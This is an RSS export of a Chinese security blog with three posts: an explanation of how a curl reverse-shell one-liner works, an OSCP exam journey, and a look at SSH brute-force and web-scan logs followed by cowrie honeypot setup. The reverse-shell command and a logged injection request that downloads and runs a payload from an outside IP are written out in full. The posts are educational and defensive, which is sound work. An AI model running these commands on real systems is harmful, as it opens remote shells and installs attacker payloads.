内网渗透 – 若水斋 https://blog.werner.wiki Try harder Tue, 16 Feb 2021 02:19:48 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 内网渗透 – 若水斋 https://blog.werner.wiki 32 32 curl 反弹 shell 原理 https://blog.werner.wiki/curl-reverse-shell-principle/ https://blog.werner.wiki/curl-reverse-shell-principle/#respond Tue, 16 Feb 2021 02:19:48 +0000 https://blog.werner.wiki/?p=1842 &-;} 3>&1|: 的工作原理。]]> 在某社交网站上看到一句 curl 反弹 shell 命令:

{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:

这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。

本文将简要叙述它的工作原理,但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识,可参考《Linux反弹shell(一)文件描述符与重定向》和《Linux 反弹shell(二)反弹shell的本质》。

预备知识

冒号

命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash 查看手册可以找到如下的说明:

: [参数]
    无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。

花括号

在 Bash 中,花括号有多种不同的用法,详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。

例如执行如下命令:

{ echo 1 ; echo 2 ; } > out.txt

会发现屏幕没有任何输出,out.txt 的内容是:

1
2

可见两条 echo 命令的标准输出都被重定向到了文件 out.txt

需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。

另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:

{ echo 1 > inner.txt ; echo 2 ; } > outer.txt

会发现第一个 echo 命令的输出被重定向到了 inner.txt,而不是 outer.txt

/dev/fd/

/dev/fd/ 是指向 /proc/self/fd 的软链接。

$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd

/proc/self 是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self 指向 /proc/<该进程的 PID>

curl 参数

使用 man curl 可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:

  • -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到 stdout
  • -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
  • -k, –insecure:忽略证书错误。
  • -T, –upload-file :上传指定本地文件到远程 URL。可用 - 做文件名以从 stdin 读取文件内容;也可用 . 做文件名,以非阻塞模式从 stdin 读取文件内容。非阻塞模式是指可从 stdin 读取文件内容的同时读取服务端输出。

语法分析

为理解魔法命令,我们先对其进行语法分析。

魔法命令被倒数第二个字符 | (管道)分为前后两部分,如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。

                                +-------+
                                |       |
                                |   |   |
                                |       |
                                +-+---+-+
                                  |   |
              +------------+      |   |       +-------+
              |            |      |   |       |       |
              | {...} 3>&1 +------+   +-------+   :   |
              |            |                  |       |
              +------+-----+                  +-------+
                     |
              +------+-----+
              |            |
              |      |     |
              |            |
              +---+---+----+
                  |   |
                  |   +-------------------------------------+
                  |                                         |
+-----------------+------------------------------+    +-----+----+
|                                                |    |          |
|  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
|                                                |    |          |
+------------------------------------------------+    +----------+

fd 重定向分析

完成语法分析后可对 fd 重定向情况进行分析。

假设执行这条命令的 Bash 的 stdinstdout 都是 pts/0。外层 |(倒数第二个字符)产生的匿名管道为 pipe1,内层 |(curl 和 sh 之间的管道)产生的匿名管道为 pipe2

可标注出外层 | 前后命令的 fd 如下图所示。

                                                                       +-------+
                                                                       |       |
                                                                       |   |   |
                                                                       |       |
                                                                       +-+---+-+
                                                                         |   |
+-----------------------------------------------------------------+      |   |       +-------+
|                                                                 |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+   +-------+   :   |
|                                                                 |                  |       |
+-----------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                              stdin : pipe1
                         stdout: pipe1                                              stdout: pts/0

命令组后的 3>&1 将 fd 3 重定向到了 fd 1,即 stdout,如下图所示。

                                                                  +-------+
                                                                  |       |
                                                                  |   |   |
                                                                  |       |
                                                                  +-+---+-+
                                                                    |   |
+------------------------------------------------------------+      |   |       +-------+
|                                                            |      |   |       |       |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+   +-------+   :   |
|                                                            |                  |       |
+------------------------------------------------------------+                  +-------+

                         stdin : pts/0                                         stdin : pipe1
                         stdout: pipe1                                         stdout: pts/0
                         fd 3  : pipe1

命令组中的命令会继承 {} 的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+------------------------------+    +-----+----+
 |                                                |    |          |
 |  curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 |    | sh 3>&-; |
 |                                                |    |          |
 +------------------------------------------------+    +----------+

                 stdin : pts/0                         stdin : pipe2
                 stdout: pipe2                         stdout: pipe1
                 fd 3  : pipe1                         fd 3  : pipe1

curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3 表示把 stdin 重定向为 fd 3,即 pipe1。sh 的 3>&- 表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。

                                 +-------+
                                 |       |
                                 |   |   |
                                 |       |
                                 +-+---+-+
                                   |   |
               +------------+      |   |       +-------+
stdin : pts/0  |            |      |   |       |       |
stdout: pipe1  | {...} 3>&1 +------+   +-------+   :   |
fd 3  : pipe1  |            |                  |       |
               +------+-----+                  +-------+
                      |
               +------+-----+                 stdin : pipe1
               |            |                 stdout: pts/0
               |      |     |
               |            |
               +---+---+----+
                   |   |
                   |   +-------------------------------------+
                   |                                         |
 +-----------------+--------------------+              +-----+----+
 |                                      |              |          |
 |  curl -sNkT . https://$LHOST:$LPORT  |              |    sh    |
 |                                      |              |          |
 +--------------------------------------+              +----------+

                stdin : pipe1                          stdin : pipe2
                stdout: pipe2                          stdout: pipe1
                fd 3  : pipe1

从上图可以很清晰地看出,curl 的 stdin 和 sh 的 stdout、 sh 的 stdin 和 curl 的 stdout 分别通过匿名管道 pipe1pipe2 相连。

工作原理

至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdinstdout 交错相连;又添加 -T 等参数和文件名 . 让 curl 读取 stdin 的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout

遗留问题

为何要关闭 sh 命令的 fd 3?

测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。

: 命令的作用是什么?

建立匿名管道 pipe1,且 : 命令不会去读 pipe1,不影响反弹 shell 工作。如果把 : 换成同样不会读 stdintrue 命令,反弹 shell 仍然可以工作,但如果换成会读 stdin 的命令如 cat,反弹 shell 就无法工作了。

]]>
https://blog.werner.wiki/curl-reverse-shell-principle/feed/ 0
我是如何拿到OSCP认证的? https://blog.werner.wiki/how-did-i-get-oscp/ https://blog.werner.wiki/how-did-i-get-oscp/#comments Thu, 17 Oct 2019 11:52:56 +0000 https://blog.werner.wiki/?p=825

首发于《安全客》。因为我希望更多的人看到这篇文章,知道刻意练习理论。

本文假设读者知道OSCP是什么。若不知道,请先阅读《Offensive Security Certified Professional (OSCP) Overview》。

我是怎么想到要考OSCP的?

我们知道要学习一样东西,一种很好的方法便是阅读官方文档。有一天忽然想到可以找找Kali的官方文档,找来找去就找到了OSCP(它们同属Offensive Security)。这是我第一次认真地了解什么是OSCP,如何才能拿到OSCP认证。当了解到OSCP的考试方式是实际攻击指定的5台靶机时觉得十分有趣,便挺想考的。但至少800美元和30天时间的代价使得我没有立刻下定决心。

真正下定决心是在一段时间之后,2019年5月4日。那天下午我忽然就想要去爬塘朗山。我住在塘朗山附近已经两个月了,还从没爬过。出地铁站后发现在下雨,不过雨不大, 我也带了伞,就没有放弃。塘朗山的登山道很陡峭,被雨水浸湿的石头很滑,我一手撑着伞,一手抓着护栏,一个人在渐渐昏暗的天色中小心翼翼地爬着。一路上很少遇到别人,仿佛世界上只剩下我一个人,这样的环境最适合思考人生。

我想起了初中,想起了高中,想起了大学,想起了那些陪伴我的数学题,物理题和课程设计。过往的人生在跌跌撞撞中度过,全都回忆完时我才爬了一小半。时间过得飞快,一转眼我毕业都快一年了。这一年来有什么长进呢?要说长进还是有一点的,但远不及预期。忽然想到若是我刚毕业就准备OSCP考试,到现在一定早就考过了。曾有一个同学和我说:种一棵树最好的时间是十年前,其次是现在。同样的道理,若是我现在开始准备OSCP考试,要花多久呢?一个月,两个月还是半年?不管是一个月还是半年,在回忆中都只是一瞬。至于费用,更不是问题,虽然我工资不高,但生活得即为节俭,攒几个月便可以凑齐报名费。

但还有一个更大的阻碍摆在我面前,那便是OSCP是全英文的,而我的英语学得很差。差到什么程度呢,高中时英语考试很少及格,到大四时才通过四级考试。英语可以是我放弃的理由吗?我一边爬山一边在心里盘算,为了OSCP我总共需要再背多少个单词,每天需要背多少个,总共需要背多久。最后不知道哪里来的勇气就觉得英语应该不是问题,只要在真正报名OSCP前先背几个月单词就可以了。几个月也只是一瞬间。

那天我一鼓作气爬到了塘朗山顶。下山时天色已经很暗,有些看不清路,好在雨停了。我又一个人在黑暗中摸索着下山,想起大学时也常常这样一个人在晚上爬喻家山,现在的我和大学时的我并没有什么本质上的变化。

下山回家后很快拟定了学习方案。我是这样计划的:先花三个月(5月、6月和7月)做考试前准备,主要内容是背单词,次要内容是用Vulnhub靶机进行渗透测试练习,接下来两个月(8月和9月)进行OSCP课程学习,最后在10月初参加考试。为了避免自己遗忘特意买了一个相册,将自己的目标和计划写在上面,放在显示器旁。还在网上找了一张别人的OSCP证书的照片设置为自己的壁纸,每次开机都会看到。

写着目标的相册

当这样一个符合SMART原则的目标写在纸上后,我的OSCP之旅便真正开始了。

我是如何准备的

按照计划,我要开始背三个月单词。在4月27日,刚好做过一次词汇量测试,结果为2700。又做了一次,结果为2761,考虑到10%的误差,相当于毫无变化,说明这个词汇量测试还是有一定准确性的。我拿出一张草稿纸,用铅笔画了一个15*2的表格,第一列写下日期,从2019.04.27开始,接着是2019.05.04,以此类推(间隔为一周),最后一个日期是2019.08.03。然后在第二列写下已有的两次词汇量测试记录,并计划每周六(4月27日和5月4日都是周六)背完单词后测试一次词汇量,将结果写在纸上。这张纸就贴在显示器侧后方的墙上。

因为上下班公司都有班车接送,所以我选择在上下班的路上背单词。刚开始时每天背200个(包括复习和新学),后来觉得实在太多,便改为每天背100个。刚开始时稍稍觉得有点艰难,因为我的大脑已经很久没有进行过背单词这项活动了,就如同让一个好久没有跑步的人忽然长跑一般不适。但很快就适应了这种生活,并慢慢变成一种习惯。每过一周,便在纸上写下一个数字,有时涨,有时跌,但总体趋势还是向上的。当2019.08.03那行被填满时,我几乎不敢相信三个月已经过去了。

当三个月的背单词计划完成时,我的词汇量由2700增长到了6093,虽然距离学好英语还差了很远很远,但心想应付OSCP应该足够了。

词汇表

这三个月里,另一项准备是用Vulnhub的靶机做渗透测试练习。因为我以前的渗透经验几乎为0,就算是靶机也没有完完整整地完成过一台,所以觉得有必要先练习一下。我的电脑性能不够好,同时跑两台虚拟机(一台kali,一台靶机)会不堪重负,所以我买了一台蜗牛星际把它重装成Ubuntu 18.04专门用来跑靶机。

星际蜗牛

一方面由于经验的缺乏,另一方面由于Vulnhub的靶机大多是CTF风格的,常常需要脑洞大开,所以这项练习进度很慢,最终三个月也只完成了6台靶机的渗透。每台都写了一篇文章详细地记录整个渗透过程,它们是:

我还尝试把这些文章中的几篇投稿到安全客,但只有最后一篇被采纳了,就这样,我赚到了人生中第一笔稿费。这些靶机让我初步找到了渗透的感觉。

我是如何学习课程的

按照计划,我在八月刚开始就报名了OSCP,1000美元的报名费是我工作以来最大的单笔花销。其中的小插曲是OSCP需要一个英文的有效证件来验证身份,我只好去办护照,深圳不愧为效率之城,不到一周我便拿到了护照。课程真正开始是在8月11日的早上8点,我收到了一封邮件,包含着视频教程和PDF教材的下载链接,VPN实验室的访问方法和账号密码,学生论坛的地址和账号密码以及其他很多注意事项和参考链接。

下载后看了下,视频共有149个,好在每个都只有几分钟,PDF共有380页,大概翻了下有很多截图,所以真正文字并没有太多。然后试了实验室和论坛的账号密码,都能成功登录。

其实我最关心的事情是视频教程有没有字幕,因为我的英语听力比阅读能力差太多了,不幸的是没有字幕。11日一整天我都在研究怎么给视频加上字幕。最后找到一个名叫autosub的Python库可以自动生成字幕文件,但这个Python库只支持Python2,而我又只安装了Python3,就改动它的源码,使之兼容Python3。顺利地生成字幕文件后用ffmpeg命令把字幕加到了MP4视频中。

学习方法是以章为单位,先看完一章的视频,再阅读对应章节的PDF,若遇到习题便完成它。之所以要以章为单位,是因为我发现视频教程和PDF教材的内容虽然大体上是一样的,但在细节上有所出入。由于我以前看过好几本系统讲述渗透测试的书籍,所以感觉OSCP的课程都是些熟悉的内容。但即便这样,完成课程的学习花去了四周的时间。

在这期间,上下班路上有时看视频教程,有时背单词。但背法发生了变化,在晚上学习时遇到不认识的单词后我就记录下来,第二天上下班路上就背这些单词。我把这期间的单词汇总整理,放在OSCPVocabulary。但背单词的效果并不如前三个月理想,可能是因为现在心思都在课程学习上。

我是如何进行实验的

学完OSCP课程后,并没有收获很大的感觉。真正的收获主要来自于实验。

在进行实验时,我需要用VPN连接到一个内网,这个内网中有很多任我攻击的靶机,这些靶机是被精心设计用于渗透测试练习的。

实验的第一个问题是网络质量。官方文档要求的网络质量是PING延时在300毫秒以内且丢包率为0。我显然没有这么好的网络,尤其是到了晚上网络质量更差,这大概是由于这个时候主干网被各种游戏和视频数据包拥塞。延时的问题不是很大,一般在320到350毫秒之间,大些时会到400毫秒。丢包却很严重,有时会高达70%!完全无法使用。最后的解决方法是使用Socks 5代理让VPN连接经香港中转,这样延时虽然没有降低但丢包却锐减到几乎为0。

解决网络质量问题后便可以愉快地实验。有些靶机非常简单,从端口扫描到拿到root权限,只花了不到半个小时,有些靶机难度很大,最久的一台我花了5天的时间才搞定。有些靶机甚至需要另一台靶机上的某些信息,否则是不可能被攻陷的。

由于平时还要上班和加班,所以真正进行实验的时间很有限,到9月30日时,我才拿下了个位数的靶机(总共有50多台)。但实验室访问权限快要到期了,而按照最初的计划我也应该在10月初考试,所以依旧预约了考试,具体时间是2019年10月6日18:00到2019年10月7日17:45。另外还在8号那天请了一天假以写报告。

国庆假便是我最后的冲刺时间了,10月1日,正在阅兵的时候,我拿下了一台Windows XP SP1,还在上面玩了一把扫雷。又用一个Web服务的远程代码执行漏洞拿下一台Windows 8.1,又用MS17-010拿下一台Windows XP,并用从XP获取的信息成功提权Windows 8.1。这是我整个实验期间战绩最好的一天,拿下了三台靶机。

在攻陷的靶机上玩扫雷

10月2日拿下两台Linux,3日遇到一台很难的靶机花了整整一天时间拿下了它,到4日时已经头昏脑胀,但依旧拿下了两台。这种头昏脑胀的感觉不是来自疾病,而是来自疲乏。就如同过多的运动会使肌肉疲乏,过多的思考也会使大脑疲乏。如果读者在学生时代曾进行过认真的学科竞赛训练,就应该曾体会过我所说的感觉。出于休息的考虑5日只拿下了一台,到6日时便停止了实验,而是选择打扫房间卫生。因为我赞同福尔摩斯的观点,最好的休息是进行另一项工作。6日下午还再次去爬塘朗山,但出地铁站后发现在下雨,而这次我没有带伞,在考试开始前几个小时冒雨爬山不是一个明智的选择,只好放弃了。

我是如何进行考试的

考试的总时长是23小时45分钟, 我需要在这段时间里入侵5台靶机,每台有不同的分值,满分为100分,超过75分则通过考试。考试结束后另有24个小时时间完成渗透测试报告,最后的得分还要看报告写得如何。

因为前一天晚上和当天中午都没能睡好觉,所以特意买了速溶咖啡,在考试开始前喝了半袋。10月6日17:45登录监考Web页面,验证护照,设置屏幕共享,检查周边环境(拿起笔记本转一圈)等花了好久,真正开始考试已经是18:30。说起来我原本以为需要和监考者用英语口语交流,觉得自己考不过很可能是因为口语不好,看了考试说明才发现是在Web页面中打字交流的。

前三个小时一筹莫展,当时心想虽然通不过考试也在预期之内,但拿0分未免过于丢人。三小时后忽然取得进展,大概在21:30用一个远程代码执行漏洞直接拿下了一台10分靶机的root权限,接着一鼓作气,在22:00左右用文件上传漏洞拿下了一台25分的靶机的低权限shell,并在一个半小时后用第三方软件漏洞成功提权。35分到手已经超过预期了,和监考者说了一声后便去睡觉了。

原计划睡到第二天早上6:45,但不出意料地失眠了,至少到凌晨1点时还是醒着的,具体几点睡着的不清楚。也醒得很早,不到6点就醒了。醒来后立马起床,简单洗漱后喝掉了剩下的半袋咖啡,边吃提前准备好的早餐边开始新的入侵。

在一台20分的靶机中非常顺利地找到了远程php代码执行漏洞。但利用却总不成功,执行phpinfo()是正常的,执行system(‘id’)却不行,没有任何报错也没有任何输出。过了好久才想到去phpinfo()的输出里看看是不是system函数被禁用了,一看果然是,还禁用了一大堆能执行系统命令的函数,好在给我留下了proc_open。知道原因后就好搞了,花了点时间成功拿到低权限shell,这个时候已经9点半了。接着用Linux内核漏洞还算顺畅地提权。至此拿到了55分。

接下来搞定的一台25分的靶机。这台和其他四台不同,并不是渗透测试靶机,而是一道缓冲区溢出题目,需要自行确定漏洞,开发利用程序,并利用这个漏洞入侵这台靶机。只是一道很简单的溢出题目,其难度甚至小于我在准备期间完成的溢出靶机Overflow,不明白这台靶机为何会值25分。当然我会有这种感觉,可能只是因为我是科班出身,学习过相关知识。开发利用程序时甚至回忆起了大学时代,回忆起了软件安全这门课。我拿下这台靶机比较顺畅,在13:00前就完成了,中途还吃了顿午饭。午饭是炒米饭外卖,前一天就订好了,选择炒米饭是因为吃起来比较节约时间。拿下这台有两个地方耽搁了些时间,一是看漏了两个坏字符,二是构造攻击荷载时少加了16个NOP,因为我用了编码器,不加这16个NOP的话解码操作会破坏shellcode。

午觉大概睡了半个小时,睡完午觉才14:00,还有近4个小时,当时以为一定可以拿下最后一台,完美地通过考试,毕竟那台只有20分,想来不会太难。但命运总是如此不可捉摸,直到考试结束,VPN连接被强行断开,我也没能拿下最后一台,实际上是一筹莫展的,完全找不到突破点。现在回想起来应该是由于缺乏睡眠,我的大脑状态已经很差了,再加上已经拿到80分,觉得可以通过考试了,所以才没能拿下最后一台,并不是最后一台真的很难。

考完试后吃完晚饭散了会步就又回家开始写报告。在研究清楚给出的报告模板是什么意思,并完成了一台靶机的报告后估计了完成报告所需的时间大约为几个小时,便去睡觉了。感谢谷歌翻译,第二天午睡前就已经完成了报告。睡完午觉又做了最后的检查与修正,便提交了报告。

10月9日19:34,我收到了通过考试的邮件通知。看到邮件中happy这个单词时就知道了结果,但我也只是激动地来回走了几步,感觉到的快乐和成功入侵那台5天才搞定的靶机时是差不多的。这可能是因为筹谋过多所致。这样想来诸葛亮一生大概很少感觉到快乐,因为事事都在预料之中。

最后的总结

渗透测试不是一门知识,而是一项技能。如果把渗透测试比喻成游泳,那么学校教我的就是浮力的原理,运动的生理学原理,我在课后还自学了要用什么动作划臂,什么动作踩水。当我毕业时,依旧不会游泳,这是因为学校没有游泳池,我从没下过水。在野外游泳,不仅危险而且违法,而OSCP则给了我游泳池。

大学时坐火车回家,遇到一个人时不时就要用手机看一下自己所在的位置,离目的地还有多少公里。而我在上车前就已经意识到距离是没有意义的,真正有意义的是时间。我坐在火车上不关心自己在哪里,距离目的地多远,只关心现在是几点,还有几个小时到站。因为我把火车看做一种封装,如同封装好的API接口,我只管调用就好,不用关心内部实现机制。这5个月也是一种封装,5个月前我设计并调用这个API接口,5个月后执行完毕,结果是拿到了OSCP认证。5个月前爬塘朗山的情景还历历在目,这段时间里发生的事情在此刻的我看来恍如隔世,仿佛那只是一瞬间,又仿佛那是由另一个我完成的。

大四做完毕业设计后我从学校图书馆借阅了最后一本书,是安德斯·艾利克森的《刻意练习:如何从新手到大师》,这本书对我影响很大。我原本坚信天生才华的存在,在我已经经历过的人生中见识过很多天资卓绝、我望尘莫及的人。但其实一个人相信一个理论,可能并不是因为这个理论是正确的,而是因为这个理论对他有好处:瞧,他们比我强是因为天赋比我好,怎么能怪我。读完这本书后我开始相信天生才华根本就不存在,开始相信刻意练习理论。从这本书里学到的另一件事是:能否坚持完成一件事取决于动机是否足够以及能否保持,而不是所谓的毅力。天赋和毅力都是人们为了解释某些现象而虚构出来的,就好比人们虚构出以太以解释电磁波的传播。这5个月的经历也是我对刻意练习理论的一次小小实践。写下这篇文章是想让更多的人相信,至少知道,有这样一种观点:天赋和毅力只是我们想象出来限制自己的枷锁,永远不要因为自己没有天赋、缺乏毅力而不敢行动。

证书还没有寄给我,附上电子徽章:

OSCP徽章

]]>
https://blog.werner.wiki/how-did-i-get-oscp/feed/ 8
攻击无处不在 https://blog.werner.wiki/attacks-are-everywhere/ https://blog.werner.wiki/attacks-are-everywhere/#comments Sun, 25 Nov 2018 01:26:17 +0000 https://blog.werner.wiki/?p=442 0x01 SSH暴力破解

忽然收到腾讯云的报警短信,说是检测到来自某IP的异常登录行为,疑似被黑客入侵。于是我马上登录服务器,查看SSH登录失败日志,发现果然有人在暴力破解我的SSH用户名和密码。

$ lastb
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:03 - 09:03  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:02 - 09:02  (00:00)
ftptest  ssh:notty    111.230.245.244  Sun Nov 25 09:00 - 09:00  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 09:00 - 09:00  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:58 - 08:58  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:57 - 08:57  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:54 - 08:54  (00:00)
es       ssh:notty    111.230.245.244  Sun Nov 25 08:52 - 08:52  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:49 - 08:49  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:45 - 08:45  (00:00)
unix     ssh:notty    77.111.169.40    Sun Nov 25 08:44 - 08:44  (00:00)
elsearch ssh:notty    111.230.245.244  Sun Nov 25 08:44 - 08:44  (00:00)
butter   ssh:notty    13.251.164.85    Sun Nov 25 08:42 - 08:42  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:39 - 08:39  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:37 - 08:37  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:35 - 08:35  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:34 - 08:34  (00:00)
elk      ssh:notty    111.230.245.244  Sun Nov 25 08:32 - 08:32  (00:00)
vpnguard ssh:notty    159.203.67.146   Sun Nov 25 08:27 - 08:27  (00:00)
elastics ssh:notty    111.230.245.244  Sun Nov 25 08:26 - 08:26  (00:00)

这里只展示了命令输出的一小部分,暴力破解是2018年11月3日09:38开始的,以每秒几次的速率一直持续到现在。到目前为止,共计尝试了18957次。

# lastb | wc -l
18957

更可怕的是,这一万多次暴力破解来自一千多个不同的IP地址。

# lastb | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | wc -l
1397

0x02 Web扫描

前端时间在一台有公网IP地址的服务器上开了Python的静态HTTP服务器以下载一个文件,忘记关闭,过了一段时间去关,发现访问日志充满了漏洞扫描和暴力破解。十几天里有三千多条攻击记录。节选部分如下:

47.203.93.156 - - [04/Aug/2018 14:31:00] code 404, message File not found
47.203.93.156 - - [04/Aug/2018 14:31:00] "GET http://httpheader.net/ HTTP/1.1" 404 -
47.203.93.156 - - [04/Aug/2018 14:31:11] code 400, message Bad request syntax ('\x04\x01\x00P\xc0c\xf660\x00')
47.203.93.156 - - [04/Aug/2018 14:31:11] " P纁?0 " 400 -
47.203.93.156 - - [04/Aug/2018 14:31:21] code 400, message Bad request syntax ('\x05\x01\x00')
47.203.93.156 - - [04/Aug/2018 14:31:21] " " 400 -
156.212.246.226 - - [05/Aug/2018 10:49:15] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 404 -
115.231.233.9 - - [05/Aug/2018 11:45:39] "GET /phpMyAdmin/index.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:32] code 501, message Unsupported method ('PROPFIND')
186.23.59.137 - - [05/Aug/2018 12:42:33] "GET /help.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:37] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:37] "GET /_query.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:38] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:38] "GET /test.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:53] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:53] "GET /log.php HTTP/1.1" 404 -
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /56.php HTTP/1.1" 501 -
125.27.179.27 - - [06/Aug/2018 23:00:27] code 501, message Unsupported method ('POST')
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /mz.php HTTP/1.1" 501 -
94.23.220.43 - - [07/Aug/2018 00:56:00] "GET /CFIDE/administrator/ HTTP/1.1" 404 -
117.27.159.157 - - [09/Aug/2018 16:06:57] "GET /index.action HTTP/1.1" 404 -
209.141.55.13 - - [10/Aug/2018 18:04:36] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 -
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /hm.php HTTP/1.1" 501 -
119.23.26.66 - - [11/Aug/2018 10:14:34] code 501, message Unsupported method ('POST')
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /cainiao.php HTTP/1.1" 501 -
5.8.54.27 - - [21/Aug/2018 09:48:30] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 -

0x03 使用蜜罐防范攻击

这两件事情让我意识到,网络攻击无处不在。真正的黑客虽然不多,但自动化的攻击让每个黑客都可以贡献出巨大的流量。

如何应对这类攻击呢?我以docker的方式安装了中等交互蜜罐cowrie

我的系统是Ubuntu14.04,安装过程如下:

1.修改SSH服务端口

在部署蜜罐前先将SSH服务的端口改掉,这通过修改配置文件来完成:

vim /etc/ssh/sshd_config

修改后重启SSH服务使得新配置生效:

sudo /etc/init.d/ssh restart

2.安装docker版cowrie蜜罐

首先安装docker:

sudo wget -qO- https://get.docker.com/ | sh

然后将一个非root用户添加到docker组,这样就能以非root用户运行docker:

sudo usermod -aG docker no-root-user

接着下载cowrie镜像:

docker pull cowrie/cowrie

最后运行cowrie蜜罐:

docker run -p 22:2222 cowrie/cowrie

参数-p做了端口映射,将主机的22端口映射到docker容器的2222端口(cowrie默认的SSH服务端口)。

3.查看cowrie的输出

刚刚运行就看到了大量的日志,截取部分如下:

2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] NEW KEYS
2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] starting service b'ssh-userauth'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] b'acogec' trying auth b'password'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] Could not read etc/userdb.txt, default database activated
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] login attempt [b'acogec'/b'acogec123'] failed
2018-12-01T01:41:12+0000 [-] b'acogec' failed auth b'password'

后台运行可添加参数-d:

docker run -d -p 22:2222 cowrie/cowrie:latest

在后台运行时如何查看日志呢?

先查看cowrie的CONTAINER ID:

$ docker ps
CONTAINER ID        IMAGE                  COMMAND             CREATED             STATUS              PORTS                            NAMES
5f09eab15463        cowrie/cowrie:latest   "cowrie start -n"   6 minutes ago       Up 6 minutes        2223/tcp, 0.0.0.0:22->2222/tcp   confident_panini

然后进入到容器内部:

docker exec -it 5f09eab15463 /bin/bash

进入容器内部后就可以查看日志了:

cat ~/cowrie-git/var/log/cowrie/cowrie.json

4.配置cowrie输出到sqlite3数据库

但这样看到的日志是JSON格式的,不便于统计。cowrie提供了输出到数据库的功能,只是docker中没有配置。现在我们来配置它:

首先以root用户身份进入到docker容器中:

docker exec -u root -it 5f09eab15463 /bin/bash

安装用于修改配置文件的vim:

apt-get install vim

